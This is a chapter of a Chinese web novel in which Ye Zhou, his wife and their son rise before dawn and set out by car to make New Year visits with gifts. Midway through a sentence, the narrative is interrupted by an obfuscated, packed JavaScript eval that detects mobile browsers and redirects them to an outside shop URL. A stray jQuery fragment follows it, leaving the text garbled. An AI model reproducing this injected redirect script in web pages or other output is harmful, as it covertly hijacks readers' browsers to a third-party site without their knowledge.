天还没亮透，叶舟就醒了。
望川冬日的清晨向来沉滞，天光迟迟不亮，厚重的雾气压在整片田野上，寒风顺着门缝钻进屋，裹着刺骨的凉意。他侧身看了眼床头闹钟，四点四十五分。
昨夜他睡得并不安稳。脑海里反复复盘今日所有行程，从拜年拜访、人情走动到午后晚间的安排，每一站、每一处细节都默默过了数遍，生怕有半点疏漏。
身侧的宁蕙心呼吸匀净，睡得安稳。叶舟轻手轻脚掀开被子，披上外套，赤脚踏过冰凉的水泥地面，摸黑走进客厅，拧开桌上的台灯。
暖黄的光圈落下来，恰好照亮那本磨白封皮的笔记本。他坐下翻开纸页，指尖顺着昨夜写下的字迹缓缓滑动。页面上罗列着今日要拜访的名单，每个人名旁都清晰标注着对应礼品：龙井两盒、定制酒一箱、大棚鲜菜一份、腊肉干货若干，规格明细，一目了然。
合上本子，他闭目静坐片刻。窗外远处传来两声零星狗吠，短促过后，整片望川依旧沉在深夜的静谧里，万物未醒。
厨房忽然传来细微的动静。叶舟循步走去，只见宁蕙心已经起身，披着一件旧棉袄，正站在灶台前热包子。锅里清水咕嘟翻滚，袅袅白汽升腾而起，在灯光下氤氲成朦胧一片。
“怎么起这么早？”叶舟靠在门框上轻声问。
“你昨晚翻来覆去睡不踏实，我哪能睡得沉。”宁蕙心头也未回，用筷子夹起热腾腾的包子装盘，“东西我都逐一核对过了，茶叶、定制酒、腊肉、鲜菜一样没少。姜叔上次喝惯的那款酒，我单独给他装了一箱。”
叶舟轻轻应了一声，伸手接过餐盘：“子安还在睡？”
“嗯，让他多睡会儿，等下再叫。”
叶舟坐在餐桌前，就着热粥慢慢吃着包子。窗外天色缓缓提亮，浓重的雾气渐渐散开，院里老槐树光秃的枝丫渐渐显露出来，枯瘦的枝干伸向灰白天幕，凝在凛冽的冷空气里。
宁蕙心坐到他对面，推过一杯温热的开水，语气平实却恳切：“今天去振舟，别再事事自己硬扛。该开口求人、该借力的地方，大大方方说出来。”
叶舟抬眸看她，放下筷子：“我知道。”
“你每次都说明白。”宁蕙心语气平淡，却戳中了他多年的软肋，“以前在安溪也是这样，凡事自己扛、自己熬，年年勤恳，年年原地不动。”
叶舟没有反驳。这话句句属实，是他根深蒂固的毛病。遇事先咬牙硬撑，撑不住才会另寻办法。但今年不同，他心底早已悄悄换了心境。
“我尽量改。”
“不是尽量。”宁蕙心看着他，眼神笃定，“是必须改。”
叶舟沉默两秒，郑重点头。
屋内归于安静，只剩碗筷轻碰的细碎声响。这时叶子安的房门轻轻推开一条缝，少年顶着一头乱发，睡眼惺忪地探出头，嗓音沙哑：“爸，妈，你们怎么起这么早……”
“赶紧洗漱吃饭，今天动身去振舟。”叶舟开口催促。
叶子安揉着眼睛走进洗手间，哗哗的水声响起。片刻后他擦着脸走出，彻底清醒，落座拿起包子咬了一口，目光淡淡扫过桌角的礼品清单，随即移开视线。
“今天先去哪站？”
“振舟大学。”
“上午连跑三户老师家？”
“嗯，罗老师、刘老师、文教授，一户不落。”
叶子安没有再多问，安静低头吃饭。叶舟悄然察觉，今日的儿子格外沉默。换作往年，他定会提前梳理利弊、提醒话术、预判局面，句句提点。但今日，他只听不问，安静随行。
叶舟心中了然，没有多言，起身换衣准备出发。
清晨七点，商陆的车准时停在院门口。车灯刺破残留的晨雾，光线沉稳。叶舟夫妇将大大小小的礼品搬上车，商陆手脚麻利，将箱体、物料逐一归置妥当，严丝合缝。
“东西都齐整了。路上慢点开，注意安全。”商陆拍了拍手上的灰尘。
“辛苦你了。初七按时到岗，加工厂那边多盯紧，有突发情况随时打电话。”叶舟叮嘱道。
“放心，绝对不出岔子。”
吉普车缓缓驶离院门，商陆伫立目送。车子拐上村道，后视镜里的人影、老槐树渐渐缩小，最终尽数
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758122|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
融进白茫茫的晨雾之中。
车厢里安静许久。天光逐渐透亮，透过车窗洒落，落在宁蕙心膝头的礼品清单上，白纸黑字清晰分明。
叶舟握着方向盘，目光平视前路。清单上的每一份礼品、每一个人名，早已烂熟于心。龙井、定制酒、腊肉干货、大棚鲜菜、牛羊肉，每一份物件，对应的都是这几年他在基层步步打拼、积攒下来的人情与机缘。
车子驶上宽阔国道，两侧田野空旷萧瑟，地面覆着一层薄薄的白霜。远处村落升起袅袅炊烟，淡白的烟气在清冽空气里缓缓散开，年味渐浓。
叶子安靠在后座车窗，静静望着飞速倒退的田野，始终沉默不语。叶舟透过后视镜瞥见，少年并未休憩，目光悠远，似在思虑心事。
“困了就眯一会儿。”叶舟温声开口。
“不困。”叶子安收回目光，轻声确认，“行程都安排妥当了？”
“嗯，全部理顺了。”
叶子安微微点头，未做评价。后视镜里，他唇角微不可察地松弛了一瞬——不是指点，不是预判，只是确认稳妥后的安心。
吉普车平稳前行，望川镇的轮廓在后视镜里越来越淡，最终彻底消失在天际。前路笔直延伸，冬日的日光一点点穿透云层，铺洒在前行的路途上。
宁蕙心递来温热的保温杯：“喝口水暖身子。”
叶舟单手接过，抿了一口。温热的茶水顺着喉咙淌下，驱散了清晨的寒气，熨帖了心底的紧绷。
他像是默念行程，又像是自我笃定，缓缓开口：“先去振舟大学拜访三位老师，中午小姑家吃饭，下午姜国友府上，晚上吴家拜年。”
说完，他轻轻呼出一口气。
这是他第一次，完全依靠自己，排布完整的人情行程。没有旁人提点，没有旁人铺路，每一步规划，都是自己的判断与抉择。
“今天跑完，年前该走动的人情，就全都齐了。”宁蕙心轻声道。
“嗯，尽数落定。”
冬日暖阳铺洒国道，吉普车稳稳向前。身后是已然落幕的过往依托，身前是独自奔赴的全新前路。